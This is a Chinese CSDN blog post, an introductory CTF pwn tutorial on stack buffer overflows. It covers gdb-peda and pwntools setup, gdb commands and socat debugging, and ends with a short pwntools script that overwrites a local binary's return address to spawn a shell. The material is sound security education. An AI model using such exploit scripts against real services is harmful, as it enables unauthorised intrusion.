gdb 查看是否 栈溢出_入坑 CTF-PWN 之 栈溢出入门

这篇博客介绍了如何利用gdb-peda进行栈溢出漏洞的检测和利用,包括安装peda、常用gdb命令、pwntools库的使用,以及如何寻找和构造payload来覆盖返回地址执行自定义代码。通过实例分析了栈溢出的原理,并展示了如何在没有NX和栈 Canary保护的情况下获取shell。
摘要由CSDN通过智能技术生成

好久没看过pwn题目了,写一个入门的教程顺便复习了:

1. 安装gdb-peda

git clone https://github.com/longld/peda.git ~/peda

echo "source ~/peda/peda.py" >> ~/.gdbinit

echo "DONE! debug your program with gdb and enjoy"

2. 一些比较有用的技巧

print system

直接输出__libc_system的地址 , 用以验证信息泄露以及system地址计算的正确性

checksec 检查该二进制的一些安全选项是否打开

shellcode 直接生成shellcode

attach pid , 在利用脚本connect到socat上之后,socat会fork出一个进程,gdb attach上这个进程,即可以进行远程调试了

socat TCP4-LISTEN:12345,fork EXEC:./1 本机调试

3. pwntools

安装

git clone https://github.com/Gallopsled/pwntools

cd pwntools

python setup.py install

或者使用

pip install pwn

基本的模板

from pwn import *

context.log\_level = 'debug' #debug模式,可输出详细信息

conn = remote('127.0.0.1' , 12345) #通过socat将二进制文件运行在某个端口之后,可使用本语句建立连接,易于在本地与远程之间转换。

print str(pwnlib.util.proc.pidof('pwn')[0]) #这两条便于在gdb下迅速attach 上对应的pid

raw_input('continue')

conn.recvuntil('Welcome') #两种不同的recv

conn.recv(2048)

shellcode = p32(0x0804a028) #用于将数字变成\x28\xa0\x04\x08的形式

conn.sendline(shellcode) #向程序发送信息,使用sendline而非send是个好习惯

conn.interactive() #拿到shell之后,用此进行交互

from pwn import *

pwn=remote("127.0.0.1","12345")

payload='A'*136 + p64(0x00000000004005bd)

#pwn.recvuntil('Welcome') #两种不同的recv

pwn.sendline(payload)

pwn.interactive()

本地调试

socat tcp-listen:12345, fork EXEC:./pwn

GDB 命令

1. X 命令

o - octal

x - hexadecimal

d - decimal

u - unsigned decimal

t - binary

f - floating point

a - address

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值